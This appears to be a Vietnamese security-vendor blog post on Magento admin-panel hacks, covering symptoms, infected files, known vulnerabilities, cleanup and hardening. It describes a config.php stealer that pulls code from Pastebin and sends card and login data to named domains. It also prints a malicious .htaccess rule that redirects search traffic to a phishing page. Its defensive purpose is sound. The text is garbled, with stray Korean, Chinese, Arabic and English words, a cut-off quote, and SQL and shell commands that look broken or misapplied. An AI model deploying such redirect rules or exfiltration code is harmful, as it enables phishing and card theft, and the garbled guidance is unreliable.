Magento đã góp phần vào sự phát triển của thương mại điện tử trên internet. Có sẵn cả phiên bản miễn phí (community edition) và trả phí (enterprise edition), Magento đang dẫn đầu thị phần phần mềm thương mại điện tử mã nguồn mở. Magento 2 đã được phát hành 꽤 lâu và có một số cập nhật bảo mật và hiệu suất đáng kể. Tuy nhiên, hầu hết các trang web không likely cập nhật lên phiên bản mới, khiến chúng dễ bị hack admin Magento và các cuộc tấn công khác. Mark Lavelle, CEO của Magento, hiểu rủi ro bảo mật và đã bình luận rằng,
Hack Admin Magento: Ví Dụ
Admin panel là một trong những khu vực có giá trị nhất của cửa hàng Magento vì nó cung cấp quyền truy cập đặc quyền cao vào trang web. Do đó, khi nó bị xâm phạm do hack admin Magento, người dùng không có biện pháp khắc phục nào ngoài việc nhờ hỗ trợ. Người dùng bị xâm phạm có thể được tìm thấy khi nhờ hỗ trợ trên các diễn đàn cộng đồng.
Hack Admin Magento: Triệu Chứng
- Khách hàng phàn nàn về thông tin thẻ tín dụng bị đánh cắp.
- Nhiều admin xuất hiện trên bảng điều khiển Magento.
- Trang web được truy cập từ nhiều IP không xác định.
- Cửa hàng Magento bị biến dạng (deface).
- Quét trang web hiển thị thông tin thẻ tín dụng được lưu.
- Nhật ký FTP hiển thị kết nối thành công từ thiết bị không xác định.
- Mã độc được chèn vào file chuyển hướng admin đến trang lừa đảo (phishing).
- Cửa hàng Magento bị blacklisted bởi công cụ tìm kiếm.
- Nếu bạn dùng hosting bên thứ ba và thông báo 'Tài khoản của bạn đã bị tạm khóa!' xuất hiện.
Hack Admin Magento: Các File Thường Bị Nhiễm
a) config.php & env.php
Config.php và Env.php là các file quan trọng của cài đặt Magento. Chúng là một phần của cấu hình triển khai Magento 2 và bao gồm cấu hình chung & riêng cho hệ thống cho cài đặt Magento 2. Cấu hình triển khai của Magento được chia giữa app/etc/config.php và app/etc/env.php. Các file này cơ bản tạo điều kiện kết nối giữa hệ thống file và cơ sở dữ liệu. env.php chứa thông tin kết nối cơ sở dữ liệu. Ngoài ra, nó cũng có thể dùng để:
- Định nghĩa khóa bảo mật (security keys).
- Chỉ định tiền tố cơ sở dữ liệu (database prefix).
- Đặt ngôn ngữ mặc định cho admin panel.
File app/etc/config.php là file tự động tạo (auto-generated), lưu trữ danh sách các mô-đun, theme và gói ngôn ngữ đã cài đặt bên cạnh cấu hình chung. Nó không có trong repo/phát hành Magento 2 vì nó được tự động tạo.
Magento 2
Từ Magento 2.2, file app/etc/config.php không còn là mục trong file .gitignore. Điều này được làm để hỗ trợ phát triển phần mềm tốt hơn.
Cập Nhật: Phần này được cập nhật để đồng bộ với Magento DevDocs (https://devdocs.magento.com/guides/v2.3/config-guide/config/config-php.html) sau phản hồi của người đọc.
Nhiều lần, config.php đã bị nhiễm mã độc bởi hacker để đánh cắp thông tin đăng nhập người dùng. Đây là một mẫu mã độc được tìm thấy:
Vài dòng đầu của mã chứa hàm độc hại gọi là patch. Hàm này cơ bản sửa đổi nội dung file. Các file bị sửa đổi được chèn mã độc từ nguồn bên ngoài (Pastebin). Nó ảnh hưởng đến tất cả file liên quan đến thanh toán và người dùng như:
/app/code/core/Mage/Payment/Model/Method/Cc.php /app/code/core/Mage/Payment/Model/Method/Abstract.php /app/code/core/Mage/Admin/Model/Session.php /app/code/core/Mage/Admin/Model/Config.php
Hơn nữa, nó dùng mã hóa base64 để tránh phát hiện. Bên cạnh đó, nó dùng các kỹ thuật khéo léo khác để ẩn. Ví dụ, mã $link_a = $link.'YTGgAnrv'; có thể dịch thành $link_a = 'hxxp://pastebin[.]com/raw/YTGgAnrv'; . Hơn nữa, thông tin đăng nhập admin và chi tiết thẻ tín dụng bị đánh cắp được gửi đến 2 domain:
hxxp://magento.ontools[.]net/update hxxp://www.bgsvetlina[.[com/post.php
Cũng, mã độc dùng "error_reporting(0);". Điều này sẽ chặn bất kỳ báo cáo lỗi nào có thể phát hiện nhiễm mã độc trên cửa hàng Magento. Do đó, mã độc này có khả năng cả đánh cắp thẻ tín dụng (CC stealing) và hack khu vực admin Magento.
b) Index.php
Index.php là trang đích (landing page) cho cửa hàng Magento của bạn. Do đó kẻ tấn công dùng nó cho nhiều cuộc tấn công như biến dạng cửa hàng. Hoặc đôi khi, mã fدية (ransomware) có thể mã hóa toàn bộ nội dung file, chỉ để lại index.php với yêu cầu chuộc. Cũng, cập nhật có thể gây vấn đề với file index.php. Một số admin web đơn giản đổi tên file index thành index.php.old khi cập nhật hệ thống. Các file này chứa thông tin quan trọng và có thể được phát hiện sau đó bởi kẻ tấn công dùng bộ quét tự động.
c) .htaccess
Thay đổi cấu hình Magento trên cơ sở mỗi thư mục có thể thực hiện bằng file .htaccess. Nó cho phép người dùng sửa đổi cấu hình chính được định nghĩa trong httpd.conf/apache.conf. Hướng dẫn trong file .htaccess được áp dụng cho thư mục cũng như tất cả thư mục con trong thư mục chứa file này. Cũng, file .htaccess giúp sửa đổi cách truy cập trang web. Hơn nữa, .htaccess có thể dùng để:
- Chặn truy cập vào một số thư mục của cửa hàng Magento.
- Tạo chuyển hướng (Redirects) cho cửa hàng.
- Bắt buộc HTTPS.
- Giảm thiểu một số tấn công chèn script trên cửa hàng.
- Chặn liệt kê tên người dùng (username enumeration) bởi bot.
- Chặn hotlink hình ảnh.
- Buộc tải xuống tự động file từ cửa hàng.
Khi file mạnh mẽ này bị xâm phạm, nó có thể bị kẻ tấn công dùng để phục vụ spam. File .htaccess có thể bị chèn mã độc để chuyển hướng người dùng. Để làm rõ hơn, một chữ ký mã độc như sau:
RewriteEngine On RewriteOptions inherit RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC] RewriteRule .* https://PhishingDomain.tld/phish.php?t=3 [R,L]
Mã độc trong dòng cuối chuyển hướng lưu lượng người dùng từ trang web. Người dùng được chuyển đến https://PhishingDomain.tld. Sau đó, nó cố gắng tải script phish.php. Script này có thể trông như trang đăng nhập admin gốc. Người dùng không ngờ có thể cung cấp thông tin đăng nhập cho kẻ tấn công. Điều này có thể dẫn đến hack khu vực admin Magento.
Hack Admin Magento: Các Tấn Công Phổ Biến
Magento đã phát hành gói cập nhật quan trọng mang tên SUPEE-10975 vào ngày 28 tháng 11 năm 2018. Gói này chứa một số cập nhật bảo mật quan trọng về các lỗ hổng có thể dẫn đến xâm phạm cửa hàng Magento. Một số tấn công phổ biến:
1) Tấn Công Brute Force Xác Thực Magento
Tấn công brute force xác thực Magento cho phép kẻ tấn công thử nhiều mật khẩu cho đến khi tìm thấy đúng. Một lỗ hổng như vậy được đặt tên là PRODSECBUG-1589. Nó ảnh hưởng đến Magento Open Source trước 1.9.4.0 và Magento Commerce trước 1.14.4.0. Khai thác lỗ hổng này, kẻ tấn công có thể brute force yêu cầu đến các nút RSS. Một số nút này yêu cầu xác thực admin. Vì vậy, dùng cách này, kẻ tấn công có thể đoán mật khẩu admin. Lỗ hổng nghiêm trọng đến mức được đánh giá 9 điểm. Lỗ hổng này có thể xâm phạm admin panel Magento.
2) Thực Thi Mã Từ Xa (Remote Code Execution) Magento
Lỗ hổng RCE cho phép kẻ tấn công chạy mã chưa được xác thực trên cửa hàng Magento của bạn. Magento Community Edition và Enterprise Edition trước 2.0.6 dễ bị lỗi RCE. Lỗ hổng này cơ bản cho phép kẻ tấn công từ xa thực hiện tấn công chèn đối tượng PHP (PHP object injection). Điều này cho phép thực thi mã PHP tùy ý qua dữ liệu giỏ hàng được tuần tự hóa (serialized) được tạo điều khiển. Mã khai thác cho lỗi này đã được phát布 và mô-đun Metasploit cũng có sẵn. Lỗ hổng RCE khác được đặt tên là PRODSECBUG-2159 đã được khám phá trong Magento Open Source trước 1.9.4.0, Magento Commerce trước 1.14.4.0 và Magento 2.1 trước 2.1.16, Magento 2.2 trước 2.2.7. Nó có điểm nghiêm trọng CVSSv3 8.5. Bên cạnh đó, bản cập nhật bảo mật SUPEE-10975 chứa nhiều bản cập nhật bảo mật liên quan đến RCE. Một số đơn giản như tải file khi đính kèm video (PRODSECBUG-2156).
3) Cross-Site Scripting (XSS) Magento
Lỗ hổng XSS là một trong những lỗ hổng phổ biến nhất trên web ảnh hưởng đến cửa hàng Magento. Lỗ hổng XSS như vậy được đặt tên là ODSECBUG-2053 ảnh hưởng đến Magento Open Source trước 1.9.4.0, Magento Commerce trước 1.14.4.0, Magento 2.1 trước 2.1.16, Magento 2.2 trước 2.2.7. Các phiên bản này dễ bị tấn công XSS qua mẫu Newsletter (Newsletter template). Tấn công XSS có thể cho phép kẻ tấn công lừa admin tiết lộ thông tin đăng nhập qua javascript lừa đảo (phishing) dẫn đến hack admin Magento.
4) Cross-Site Request Forgery (CSRF) Magento
Một tấn công CSRF Magento cơ bản lừa người dùng thực hiện yêu cầu không mong muốn trên ứng dụng web họ đang dùng. Tuy nhiên, đáng chú ý ở đây là kẻ tấn công chỉ có thể thực thi yêu cầu, không có cách nào để thấy phản hồi, nghĩa là không đánh cắp dữ liệu. Nhiều lỗi CSRF đã được khám phá trong Magento được đặt tên là PRODSECBUG-2125, PRODSECBUG-2088, và PRODSECBUG-2140. Chúng có thể lừa người dùng xóa:
- Tất cả block cùng lúc.
- Các nhóm khách hàng của cửa hàng Magento qua leo thang đặc quyền.
- Sitemap của cửa hàng Magento.
Cần giúp chuyên nghiệp dọn dẹp trang Magento bị hack? Nhắn tin cho chúng tôi qua widget chat và chúng tôi sẽ giúp bạn. Sửa Hack Admin Magento Ngay.
5) Hack Admin Magento: Dọn Dẹp File
Đầu tiên để bảo mật admin panel Magento, hãy đổi mật khẩu thành mật khẩu an toàn. Điều này có thể làm cho cả Magento 1 và 2 bằng câu lệnh SQL sau, update users set pass = concat('ZZZ', sha(concat(pass, md5(rand()))));
Đối với cả Magento 1 và 2, bây giờ kiểm tra mã độc bên trong các file hack admin Magento bị nhiễm. Một số file phổ biến:
Index.php .htaccess config.php Cron Jobs
Bên trong các file này, hãy tìm mã độc và bình luận (comment) nó để xóa sau. Cũng tìm mã độc được mã hóa Base64. Một lệnh đơn giản có thể làm được.
find . -name "*.php" -exec grep "base64"'{}'; -print &> hiddencode.txt
Đoạn mã này sẽ quét mã được mã hóa base64 và lưu vào hiddencode.txt. Dùng công cụ online để phân tích thêm mã này. Công cụ như phpMyAdmin rất hữu ích trong việc tìm kiếm nhiều file hack admin Magento bị nhiễm cùng lúc. Tìm mã độc bằng phpMyAdmin như hình dưới.
Bảo Mật Admin Panel Magento
1) Cập Nhật Và Sao Lưu
Magento phát hành bản cập nhật bảo mật thường xuyên. Đảm bảo luôn cài đặt bản vá mới nhất. Di chuyển sang Magento 2 nếu bạn chưa làm. Magento 2 an toàn hơn và hiệu suất tốt hơn. Cũng, giữ bản sao lưu cửa hàng Magento để có thể khôi phục nếu bị tấn công.
2) Sử Dụng HTTPS
Quan trọng là mã hóa trao đổi thông tin giữa khách hàng và cửa hàng Magento. Do đó, dùng chuẩn SSL để bảo vệ giao dịch trực tuyến của khách hàng. Đối với Magento 1, có thể làm qua 3 bước đơn giản:
- Đầu tiên điều hướng đến Admin Panel > System > Configuration > General > Web > Secure.
- Bây giờ sửa cài đặt Base_url từ "http" sang "https".
- Bật sử dụng URL an toàn trong Frontend và Admin.
Đối với Magento 2, truy cập Stores > Settings > Configuration > Web > General, như hình dưới.
3) Ngẫu Nhiêu Hóa URL Admin Mặc Định
Nếu nhật ký hiển thị tấn công brute force thường xuyên trên admin Magento, giải pháp tốt nhất là ngẫu nhiên hóa nó. Đổi thành URL bạn chọn và tránh mặc định. Có thể thay đổi trong Magento 1 bằng cách điều hướng: Admin > Stores > Configuration > Advanced > Admin
Đối với Magento 2, quy trình tương tự. Điều hướng đến Stores > Configuration > Advanced. Xem hình dưới để rõ hơn.
4) Sử Dụng Xác Thực Hai Yếu Tố (2FA)
Xác thực hai yếu tố có thể thêm lớp bảo mật cho admin panel Magento. Nó chủ yếu dựa trên ứng dụng Google Authentication. Đầu tiên, admin cần quét mã QR. Sau đó sẽ tạo số ngẫu nhiên 6 chữ số. Thời gian hết hạn là 30 giây. Do đó, admin panel Magento chỉ có thể truy cập sau khi nhập khóa xác minh cùng thông tin đăng nhập. Tuy nhiên, tính năng này không có sẵn trong Magento mặc định và bạn cần mua plugin bên thứ ba để dùng. Các plugin này hoạt động trên cả Magento 1 và Magento 2.
5) Hạn Chế Truy Cập
Admin panel không dành cho ai ngoài admin. Do đó, quyết định khôn ngoan là chỉ cho phép một số IP nhất định truy cập. Có thể làm với file .htaccess trong cả Magento 1 và 2. Để chỉ cho phép IP bạn chọn, thêm mã sau vào file .htaccess.
order deny,allow
deny from all
allow from xxx.xxx.xxx.xxx
6) Sử Dụng Giải Pháp Bảo Mật
Ngay sau khi dọn dẹp và khôi phục trang web, hack admin Magento có thể tái diễn. Lý do có thể là cửa hậu để lại bởi kẻ tấn công hoặc đơn giản là lỗ hổng chưa được vá. Để tránh kịch bản này, rất khuyến cáo dùng WAF hoặc giải pháp bảo mật. Nhiệm vụ chính là tìm tường lửa phù hợp cho cửa hàng Magento. Nhiều yếu tố như khả năng mở rộng, dễ sử dụng, tài nguyên, v.v. cần xem xét trước khi mua. Astra Website Protection được khuyến cáo cao vì nó dễ dàng đáp ứng tất cả yêu cầu. Tường lửa Astra có khả năng mở rộng cao cho phép bạn bảo mật blog cá nhân hoặc cửa hàng lớn cùng lúc. Hơn nữa, dùng Astra không cần kiến thức bảo mật phức tạp vì mọi thứ quản lý qua bảng điều khiển đơn giản.
Ngoài tường lửa, Astra cũng cung cấp kiểm tra bảo mật toàn diện và kiểm thử xâm nhập (pentesting). Điều này cho bạn lợi thế so với kẻ tấn công trong việc khám phá lỗ hổng trong cửa hàng Magento.